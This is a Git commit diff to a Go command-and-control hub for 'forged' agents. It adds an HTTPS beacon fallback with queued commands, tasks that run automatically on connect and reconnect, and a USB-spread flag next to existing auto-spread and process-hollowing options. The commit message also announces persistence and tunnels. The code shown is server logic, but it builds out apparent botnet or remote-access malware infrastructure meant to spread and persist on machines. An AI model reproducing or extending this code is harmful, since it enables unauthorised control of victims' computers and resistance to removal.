feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||||
type ConnectTaskRunner interface {
|
||||
RunConnectTasks(agentID, trigger string)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -122,12 +127,18 @@ type WSHub struct {
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
connectTasks ConnectTaskRunner
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||||
h.mu.Lock()
|
||||
h.connectTasks = r
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
ids := make([]string, 0, len(h.agents))
|
||||
for id := range h.agents {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
USBSpread: auth.USBSpread,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
workerName := auth.WorkerName
|
||||
if workerName == "" {
|
||||
workerName = auth.Worker
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
go h.runPingLoopAgent(ac)
|
||||
|
||||
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
runner := h.connectTasks
|
||||
h.mu.RUnlock()
|
||||
if runner != nil {
|
||||
if isNewAgent {
|
||||
go runner.RunConnectTasks(agentID, "on_connect")
|
||||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
name := agentID
|
||||
if h.db != nil {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||||
name = ag.Name
|
||||
}
|
||||
}
|
||||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
|
||||
Reference in New Issue
Block a user